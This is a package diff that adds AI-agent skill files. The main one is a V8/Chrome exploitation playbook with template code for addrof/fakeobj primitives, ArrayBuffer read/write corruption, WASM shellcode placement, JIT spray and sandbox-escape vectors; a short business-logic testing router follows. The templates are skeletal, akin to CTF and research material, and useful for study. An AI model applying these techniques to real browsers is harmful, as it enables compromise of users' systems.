ineedcodes 1.6.1 → 1.7.1

package/skills/browser-exploitation-v8/SKILL.md

@@ -0,0 +1,334 @@
+---
+name: browser-exploitation-v8
+description: >-
+  Browser and V8 exploitation playbook. Use when exploiting JavaScript engine vulnerabilities including JIT type confusion, incorrect bounds elimination, and V8 sandbox bypass to achieve renderer RCE and sandbox escape in Chrome/Chromium.gated: true
+---
+
+# SKILL: Browser / V8 Exploitation — Expert Attack Playbook
+
+> **AI LOAD INSTRUCTION**: Expert V8/Chrome exploitation techniques. Covers V8 compilation pipeline, JIT type confusion, addrof/fakeobj primitives, ArrayBuffer corruption, WASM RWX pages, V8 sandbox (pointer compression), and Chrome sandbox escape overview. Distilled from ctf-wiki browser sections, Project Zero research, and CTF competition patterns. Base models often confuse V8 object representation details and miss the pointer compression barrier.
+
+## 0. RELATED ROUTING
+
+- [sandbox-escape-techniques](../sandbox-escape-techniques/SKILL.md) — Chrome renderer sandbox escape via IPC/Mojo
+- [heap-exploitation](../heap-exploitation/SKILL.md) — general heap concepts applicable to V8 heap
+- [stack-overflow-and-rop](../stack-overflow-and-rop/SKILL.md) — ROP concepts for native code execution after V8 escape
+- [binary-protection-bypass](../binary-protection-bypass/SKILL.md) — ASLR/NX bypass in browser context
+
+### Advanced Reference
+
+Load [V8_EXPLOITATION_PATTERNS.md](./V8_EXPLOITATION_PATTERNS.md) when you need:
+- Detailed exploitation patterns and code templates
+- Heap layout manipulation and GC interaction
+- V8 sandbox bypass techniques
+- Object map confusion patterns
+
+---
+
+## 1. V8 ARCHITECTURE
+
+### Compilation Pipeline
+
+```
+JavaScript Source
+    ↓ Parser
+  AST (Abstract Syntax Tree)
+    ↓ Ignition
+  Bytecode (interpreted, profiling)
+    ↓ Sparkplug (non-optimizing baseline, V8 ≥ 9.1)
+  Baseline code (fast startup)
+    ↓ Maglev (mid-tier, V8 ≥ 10.2)
+  Mid-optimized code
+    ↓ TurboFan (optimizing JIT)
+  Optimized machine code (with speculative optimizations)
+    ↓ Deoptimization (if speculation fails)
+  Back to Ignition bytecode
+```
+
+### Key V8 Concepts
+
+| Concept | Description |
+|---|---|
+| Tagged pointers | SMI (Small Integer): `value << 1`, HeapObject: `ptr \| 1` |
+| Pointer compression | V8 ≥ 8.0: objects addressed via 32-bit offset from cage base (4GB sandbox) |
+| Maps (Hidden Classes) | Define object shape: property names, types, offsets |
+| Elements kinds | Internal array type: `PACKED_SMI_ELEMENTS`, `PACKED_DOUBLE_ELEMENTS`, `PACKED_ELEMENTS`, etc. |
+| Write barrier | GC bookkeeping when heap pointers are written |
+| Garbage collection | Orinoco GC: minor (Scavenge) and major (Mark-Compact) |
+
+### Object Representation (64-bit, pointer compression)
+
+```
+HeapObject in V8 heap (compressed):
+  +0x00: Map pointer (compressed, 32-bit offset)
+  +0x04: Properties/Hash
+  +0x08: Elements pointer (compressed)
+  +0x0C: Length (for arrays)
+  +0x10: Inline properties or backing store data
+```
+
+---
+
+## 2. COMMON V8 BUG CLASSES
+
+| Bug Class | Description | Example |
+|---|---|---|
+| JIT Type Confusion | TurboFan assumes wrong type after optimization | Speculative type guard eliminated, wrong operation applied |
+| Incorrect Bounds Elimination | JIT removes array bounds check based on wrong range analysis | `CheckBounds` node eliminated → OOB access |
+| Prototype Chain Confusion | Optimization assumes stable prototype, mutations invalidate | Prototype change after optimization → wrong property access |
+| Turbofan Reduction Bug | Incorrect strength reduction or constant folding | Integer overflow in range analysis |
+| Race Condition | SharedArrayBuffer + worker thread race | Type confusion via concurrent modification |
+| Off-by-one in Builtin | Boundary error in built-in function implementation | String/Array bounds |
+| Typer Bug | Incorrect type range computation in TurboFan | `Typer` says value is in [0, N] but can be N+1 |
+
+### Triggering JIT Optimization
+
+```javascript
+function vuln(arr) {
+    // ... vulnerable code path ...
+}
+// Force optimization by calling many times
+for (let i = 0; i < 100000; i++) {
+    vuln(arr);
+}
+// Or use V8 intrinsics (d8 only):
+%OptimizeFunctionOnNextCall(vuln);
+vuln(arr);
+```
+
+---
+
+## 3. EXPLOITATION PRIMITIVES
+
+### addrof — Leak Object Address
+
+```javascript
+// Goal: get the raw heap address of a JavaScript object
+// Method: type confusion between object array and float array
+// If we can confuse PACKED_ELEMENTS array with PACKED_DOUBLE_ELEMENTS:
+// - Write object reference to element of object array
+// - Read same element as double from confused float array
+// - Float bits = compressed pointer of the object
+
+function addrof(obj) {
+    // Setup depends on specific bug
+    // Typically: trigger type confusion so array reads obj ref as float
+    object_array[0] = obj;
+    return ftoi(confused_float_array[0]);  // float-to-int conversion
+}
+```
+
+### fakeobj — Create Fake Object Reference
+
+```javascript
+// Goal: create a JS reference to an arbitrary heap address
+// Method: reverse of addrof — write float (raw pointer bits) to float array,
+//         read from confused object array → treated as object reference
+
+function fakeobj(addr) {
+    confused_float_array[0] = itof(addr);  // int-to-float conversion
+    return object_array[0];                 // now a "pointer" to addr
+}
+```
+
+### Building Arbitrary R/W from addrof + fakeobj
+
+```javascript
+// 1. Create a Float64Array with known layout
+let rw_array = new Float64Array(0x100);
+let rw_array_addr = addrof(rw_array);
+
+// 2. Fake a Float64Array object at controlled address with modified backing_store
+// 3. Corrupt backing_store pointer to target address
+// 4. Read/write through the fake Float64Array → arbitrary R/W
+
+function read64(addr) {
+    // Set fake array's backing_store = addr
+    write_to_fake_backingstore(addr);
+    return fake_float64array[0];
+}
+
+function write64(addr, value) {
+    write_to_fake_backingstore(addr);
+    fake_float64array[0] = value;
+}
+```
+
+---
+
+## 4. OOB READ/WRITE VIA CONFUSED ARRAY BOUNDS
+
+When TurboFan incorrectly eliminates bounds checks:
+
+```javascript
+function trigger(arr, idx) {
+    // TurboFan thinks idx is always < arr.length
+    // But due to bug, idx can exceed bounds
+    return arr[idx];  // OOB read
+}
+
+// OOB read adjacent memory (next heap object's metadata)
+// OOB write to corrupt next object's map/elements/length
+```
+
+### What's Adjacent in V8 Heap?
+
+Objects are allocated sequentially in V8's young generation (new space). By controlling allocation order:
+
+```javascript
+let arr1 = new Array(0x10);    // spray object
+let arr2 = new Float64Array(0x10);  // target: adjacent to arr1
+// OOB from arr1 can reach arr2's metadata
+// Corrupt arr2's length → unconstrained OOB on arr2
+```
+
+---
+
+## 5. ARRAYBUFFER ARBITRARY R/W
+
+`ArrayBuffer`'s backing store is a raw pointer to allocated memory. Corrupting it gives absolute memory R/W.
+
+```javascript
+let ab = new ArrayBuffer(0x100);
+let view = new DataView(ab);
+// If we can overwrite ab's backing_store pointer:
+// ab.backing_store = target_addr
+// view.getFloat64(0) → reads 8 bytes from target_addr
+// view.setFloat64(0, val) → writes to target_addr
+```
+
+### V8 Sandbox (Pointer Compression) Impact
+
+Since V8 ≥ 8.0 (pointer compression) and V8 sandbox (≥ 11.x):
+- `ArrayBuffer.backing_store` is a **sandbox pointer** (within the V8 cage, 4GB region)
+- Cannot directly point outside the V8 cage
+- Need sandbox escape to get full process memory access
+
+---
+
+## 6. WASM RWX PAGE
+
+WebAssembly JIT code is placed on RWX (Read-Write-Execute) pages on some platforms.
+
+```javascript
+// Allocate WASM module → JIT compiles to RWX page
+let wasm_code = new Uint8Array([0x00, 0x61, 0x73, 0x6d, ...]);
+let mod = new WebAssembly.Module(wasm_code);
+let instance = new WebAssembly.Instance(mod);
+// instance.exports.func → points to RWX page
+
+// If we can find and write to this page:
+// 1. addrof(instance) → find WASM instance object
+// 2. Follow pointers: instance → jump_table_start → RWX page
+// 3. Use arbitrary write to overwrite RWX page with shellcode
+// 4. Call instance.exports.func() → executes shellcode
+```
+
+**Modern Chrome**: W^X enforcement means WASM pages are either RW or RX, not RWX simultaneously. JIT code is written in RW mode, then switched to RX. Exploitation requires finding a write window or using JIT spray.
+
+---
+
+## 7. V8 SANDBOX
+
+### Architecture (V8 ≥ 11.x)
+
+```
+Process Virtual Address Space:
+┌──────────────────────────────────────┐
+│  V8 Sandbox Cage (4GB region)        │
+│  ├── V8 Heap (JS objects)            │
+│  ├── ArrayBuffer backing stores      │
+│  ├── WASM memory                     │
+│  └── External pointer table          │
+├──────────────────────────────────────┤
+│  Process memory outside cage         │
+│  ├── libc, Chrome code               │
+│  ├── Stack                           │
+│  └── Other allocations               │
+└──────────────────────────────────────┘
+```
+
+### Sandbox Escape Vectors
+
+| Vector | Method |
+|---|---|
+| External pointer table | Corrupt entries in the external pointer table to reference arbitrary addresses |
+| WASM code pointer | Overwrite WASM function entry to jump to controlled shellcode |
+| JIT code corruption | Write to JIT code page via race condition or confused pointer |
+| Mojo IPC (Chrome) | Exploit Chrome IPC to attack browser process from compromised renderer |
+| Backing store seal bypass | Find type confusion to get unsandboxed pointer |
+
+---
+
+## 8. CHROME SANDBOX ESCAPE (OVERVIEW)
+
+After renderer RCE (via V8 exploit), the process is still sandboxed. Full compromise requires:
+
+| Stage | Target | Example |
+|---|---|---|
+| Renderer exploit | V8 / Blink DOM | Type confusion → shellcode |
+| IPC/Mojo bug | Chrome IPC layer | Use-after-free in Mojo interface |
+| Browser process exploit | Privileged browser process | Code execution outside sandbox |
+
+Mojo interfaces (Chrome's IPC) expose attack surface: find UAF or type confusion in Mojo message handlers.
+
+---
+
+## 9. TOOLS
+
+```bash
+# V8 debugging
+d8 --allow-natives-syntax exploit.js  # Enable V8 intrinsics (%DebugPrint, etc.)
+d8 --trace-turbo exploit.js           # Dump TurboFan IR
+d8 --print-opt-code exploit.js        # Print optimized machine code
+
+# Turbolizer: visual TurboFan IR graph
+# Chrome DevTools Memory panel: heap snapshots
+
+# Build V8 for debugging
+git clone https://chromium.googlesource.com/v8/v8.git
+gclient sync
+gn gen out/debug --args='is_debug=true v8_enable_sandbox=false'
+ninja -C out/debug d8
+```
+
+---
+
+## 10. DECISION TREE
+
+```
+V8 vulnerability identified
+├── Bug type?
+│   ├── JIT type confusion → trigger optimization, confuse array element kinds
+│   ├── Bounds check elimination → OOB read/write on array
+│   ├── Typer bug → incorrect range leads to OOB
+│   └── Builtin bug → direct memory corruption primitive
+│
+├── Build primitives
+│   ├── Can confuse object array ↔ float array?
+│   │   └── addrof + fakeobj → arbitrary R/W within V8 heap
+│   ├── OOB on array?
+│   │   └── Corrupt adjacent object (length/backing_store) → expand to full R/W
+│   └── Direct write primitive?
+│       └── Target WASM instance or ArrayBuffer metadata
+│
+├── V8 sandbox enabled?
+│   ├── YES (modern Chrome) →
+│   │   ├── R/W limited to V8 cage (4GB)
+│   │   ├── Need sandbox escape: external pointer table corruption,
+│   │   │   WASM code pointer overwrite, or Mojo bug
+│   │   └── Then proceed to shellcode execution
+│   └── NO (older V8, CTF, d8) →
+│       ├── Corrupt ArrayBuffer backing_store → absolute R/W
+│       └── Overwrite WASM RWX page → shellcode
+│
+├── Code execution method
+│   ├── WASM RWX page available? → write shellcode, call WASM func
+│   ├── JIT code writable? → overwrite JIT code
+│   └── ROP needed? → corrupt stack or return address
+│
+└── Full browser exploit chain
+    ├── Stage 1: V8 bug → renderer RCE
+    ├── Stage 2: Mojo IPC bug → browser process compromise
+    └── Stage 3: OS-level escalation (if needed)
+```

package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md

@@ -0,0 +1,288 @@
+# V8 Exploitation Patterns — Heap Layout, GC Interaction, Sandbox Bypass
+
+> **AI LOAD INSTRUCTION**: Load this for detailed V8 exploitation code patterns, heap layout manipulation, GC interaction tricks, object map confusion, and V8 sandbox bypass techniques. Assumes [SKILL.md](./SKILL.md) is loaded for V8 architecture and primitive construction overview.
+
+---
+
+## 1. HELPER UTILITIES
+
+Standard utility functions used in almost every V8 exploit:
+
+```javascript
+let buf = new ArrayBuffer(8);
+let f64 = new Float64Array(buf);
+let u32 = new Uint32Array(buf);
+let u64 = new BigUint64Array(buf);
+
+function ftoi(f) { f64[0] = f; return u64[0]; }
+function itof(i) { u64[0] = i; return f64[0]; }
+function lo(i) { u64[0] = i; return u32[0]; }
+function hi(i) { u64[0] = i; return u32[1]; }
+
+function hex(i) { return '0x' + i.toString(16); }
+```
+
+### V8 Intrinsics (d8 --allow-natives-syntax)
+
+```javascript
+%DebugPrint(obj);                    // Print internal object representation
+%OptimizeFunctionOnNextCall(func);   // Force TurboFan optimization
+%PrepareFunctionForOptimization(func); // Mark for optimization
+%SystemBreak();                      // Trigger INT3 for GDB
+%CollectGarbage('major');            // Force GC
+```
+
+---
+
+## 2. HEAP LAYOUT MANIPULATION
+
+### Allocation Order in Young Generation
+
+V8's young generation allocates objects sequentially (bump pointer). Control allocation order to ensure adjacency:
+
+```javascript
+// Allocate in order → objects are adjacent in memory
+let oob_arr = [1.1, 2.2, 3.3];         // Float64 array (target for OOB)
+let victim  = [{}];                      // Object array (corrupt this)
+let rw_buf  = new ArrayBuffer(0x100);   // ArrayBuffer (steal backing_store)
+
+// oob_arr elements → victim header → rw_buf header are adjacent
+// OOB write from oob_arr can corrupt victim's map → type confusion
+// OOB write to rw_buf can corrupt backing_store → arbitrary R/W
+```
+
+### Heap Spray for Predictable Layout
+
+```javascript
+let spray = [];
+for (let i = 0; i < 1000; i++) {
+    spray.push(new ArrayBuffer(0x100));
+}
+// Many ArrayBuffers at sequential addresses
+// Known relative offsets between them
+```
+
+---
+
+## 3. ELEMENTS KINDS CONFUSION
+
+V8 arrays have internal "elements kind" tracked in their Map:
+
+| Elements Kind | Storage | Interpretation |
+|---|---|---|
+| `PACKED_SMI_ELEMENTS` | Tagged SMI | Small integers (31-bit) |
+| `PACKED_DOUBLE_ELEMENTS` | Unboxed float64 | Raw 64-bit doubles |
+| `PACKED_ELEMENTS` | Tagged pointers | Object references |
+| `HOLEY_*` variants | Same but with holes | Sparse arrays |
+
+### Type Confusion: Double ↔ Object
+
+```javascript
+// If bug causes array with PACKED_ELEMENTS (object refs) to be
+// treated as PACKED_DOUBLE_ELEMENTS (raw floats):
+// - Reading object element as float → leaks raw pointer (addrof)
+// - Writing float to object element → creates fake pointer (fakeobj)
+
+// Transition chain (normally one-way):
+// SMI → DOUBLE → ELEMENTS (never goes backward)
+// Bug: forces wrong elements kind on optimized code path
+```
+
+---
+
+## 4. MAP CONFUSION EXPLOITATION
+
+### Corrupting Object Map
+
+```javascript
+// Object's first field is its Map pointer (compressed, 32-bit)
+// Corrupting the map changes how V8 interprets the entire object
+
+// Example: change a regular array's map to a different array type
+// Before: Map says PACKED_SMI_ELEMENTS, length = 4
+// After:  Map says PACKED_DOUBLE_ELEMENTS, length = 0x1000 (if map has different length offset)
+// Result: Unconstrained OOB read/write through the "array"
+```
+
+### Fake Map Construction
+
+```javascript
+// To create a believable fake object, need a valid Map at the start
+// Approach 1: Find existing Map address via addrof, reuse it
+let target_map_addr = addrof(target_array) - 0x10n;  // approximate
+// Read map from memory via OOB, copy it to controlled location
+
+// Approach 2: Spray arrays of same type to have many identical Maps
+let maps_spray = [];
+for (let i = 0; i < 100; i++) {
+    maps_spray.push([1.1]);  // all share same Map in V8's map space
+}
+```
+
+---
+
+## 5. GC INTERACTION AND SURVIVAL
+
+### GC-Safe Exploitation
+
+V8's GC moves objects (compacting GC). Exploits must account for:
+
+| Issue | Mitigation |
+|---|---|
+| Object moves during GC | Pin objects in old generation (allocate enough to promote) |
+| Fake object freed by GC | Ensure fake objects aren't in GC-tracked regions |
+| Write barriers corrupt state | Avoid triggering write barriers on corrupted pointers |
+| Weak references cleared | Don't rely on weak refs for exploit state |
+
+### Promoting to Old Space
+
+```javascript
+// Allocate object, trigger minor GC to promote to old space (stable address)
+let obj = {a: 1, b: 2};
+// Fill young generation to trigger scavenge
+for (let i = 0; i < 100000; i++) new Array(100);
+// obj is now in old space with stable address
+```
+
+### ArrayBuffer is GC-Friendly
+
+`ArrayBuffer`'s backing store is external memory (not managed by V8 GC). Corrupting its pointer won't be affected by GC moves.
+
+---
+
+## 6. COMMON EXPLOITATION CHAINS
+
+### Chain 1: Typer Bug → OOB → addrof/fakeobj → R/W → WASM Shellcode
+
+```javascript
+// Step 1: Trigger typer bug for OOB array access
+function trigger() {
+    let arr = new Array(1);
+    arr[0] = 1.1;
+    // ... bug-specific code that makes TurboFan believe index is in bounds ...
+    let oob_val = arr[oob_index];  // OOB read
+    arr[oob_index] = corrupt_val;  // OOB write
+}
+
+// Step 2: Use OOB to corrupt adjacent array → addrof/fakeobj primitives
+// Step 3: Build arbitrary R/W (corrupt ArrayBuffer backing_store)
+// Step 4: Find WASM instance, overwrite JIT code page with shellcode
+// Step 5: Call WASM function → shellcode executes
+```
+
+### Chain 2: Type Confusion → Overlapping Arrays → Length Corruption
+
+```javascript
+// Step 1: Confuse element kind (double↔object) on array
+// Step 2: Through confusion, read adjacent array's length field
+// Step 3: Write a huge value as the length → array now has OOB access
+// Step 4: Use giant array for full heap R/W
+// Step 5: Shellcode via WASM or stack ROP
+```
+
+---
+
+## 7. V8 SANDBOX BYPASS TECHNIQUES
+
+### External Pointer Table (EPT)
+
+V8 sandbox stores external (out-of-cage) pointers in an External Pointer Table. Each entry:
+
+```
+EPT[index] = (raw_pointer ^ tag) | type_bits
+```
+
+Corruption approach:
+1. Find EPT entry for a known external object (e.g., ArrayBuffer backing store of external memory)
+2. Overwrite the entry to point to target address
+3. Access through the original JS object → reads/writes outside cage
+
+### Corrupting WASM Jump Table
+
+```javascript
+// WASM instance has jump_table_start pointing to RWX code
+// Even with sandbox, WASM code pointers may be indirect
+// Find WASM instance in cage → follow pointer chain to code
+// Overwrite code entry in jump table with shellcode address
+```
+
+### Sandbox Hole via Type Confusion
+
+Some V8 object types store both sandboxed and unsandboxed pointers. A type confusion that changes how a field is interpreted (sandboxed offset vs raw pointer) can escape the cage.
+
+---
+
+## 8. JIT SPRAY TECHNIQUE
+
+Plant controlled immediate values in JIT-compiled code:
+
+```javascript
+// Float constants embed as 64-bit immediates in machine code
+function spray() {
+    let x = 1.4501798452584495e-277;  // 0x90909090_90909090 (NOP sled)
+    // ... repeat with shellcode-encoding floats ...
+}
+// JIT compiles spray() → movabs rax, 0x9090909090909090 in code page
+// Jump into the middle of the immediate → executes as NOP sled
+```
+
+**Modern mitigations**: Constant blinding (XOR constants with random key), removing RWX pages, and V8 sandbox reduce JIT spray effectiveness.
+
+---
+
+## 9. BROWSER-SPECIFIC CONSIDERATIONS
+
+### Chrome Process Model
+
+```
+Browser Process (privileged)
+  ├── Renderer Process 1 (sandboxed) ← V8 exploit here
+  ├── Renderer Process 2 (sandboxed)
+  ├── GPU Process
+  ├── Network Process
+  └── Utility Processes
+```
+
+### Renderer → Browser Escape via Mojo
+
+```
+Renderer compromise → find vulnerable Mojo interface →
+  craft malicious IPC message → trigger bug in browser process →
+  code execution in browser (unsandboxed)
+```
+
+Key Mojo targets: `BlobRegistry`, `FileSystemManager`, `NetworkService`, and other privileged interfaces.
+
+### Memory Layout in Chrome
+
+| Region | Contents |
+|---|---|
+| V8 Cage (4GB) | JS heap, WASM memory, ArrayBuffer stores |
+| PartitionAlloc | Blink DOM objects, C++ objects |
+| System malloc | Chrome C++ allocations outside PartitionAlloc |
+| mmap regions | Shared memory, file mappings |
+
+---
+
+## 10. DEBUGGING AND ANALYSIS
+
+```bash
+# Build d8 for debugging
+gn gen out/debug --args='is_debug=true v8_enable_sandbox=false target_cpu="x64"'
+ninja -C out/debug d8
+
+# Run with debugging features
+./out/debug/d8 --allow-natives-syntax --trace-turbo --print-opt-code exploit.js
+
+# GDB with V8
+gdb ./out/debug/d8
+b v8::internal::Runtime_DebugPrint  # break on %DebugPrint
+r --allow-natives-syntax exploit.js
+
+# Turbolizer (web UI for TurboFan IR)
+# Open chrome://tracing, load turbo-*.json from --trace-turbo
+
+# Useful GDB commands for V8
+job <addr>          # V8 GDB helper: print V8 object at address
+jst                 # Print V8 JavaScript stack trace
+```

package/skills/business-logic-vuln/SKILL.md

@@ -0,0 +1,33 @@
+---
+name: business-logic-vuln
+description: >-
+  Entry P1 category router for business logic testing. Use when workflow abuse,
+  race conditions, pricing flaws, or multi-step state attacks matter more than
+  parser-level input injection.gated: true
+---
+
+# Business Logic Router
+
+This is the routing entry point for business-logic and state-machine issues.
+
+## When to Use
+
+- The target involves coupons, inventory, payment, approvals, quotas, invites, trials, or state transitions
+- The issue is not parser-level; it is about when checks happen and which business conditions are checked
+- You suspect race conditions, workflow bypass, price tampering, negative values, stacked discounts, or multi-step flaws
+
+## Skill Map
+
+- [Business Logic Vulnerabilities](../business-logic-vulnerabilities/SKILL.md)
+
+## Recommended Flow
+
+1. First map key business states and one-time actions
+2. Then check for check-then-act windows, sequence dependencies, or missing cross-step authorization
+3. If the chain depends on APIs, uploads, or object permissions, return to the corresponding router skill to complete the path
+
+## Related Categories
+
+- [api-sec](../api-sec/SKILL.md)
+- [auth-sec](../auth-sec/SKILL.md)
+- [file-access-vuln](../file-access-vuln/SKILL.md)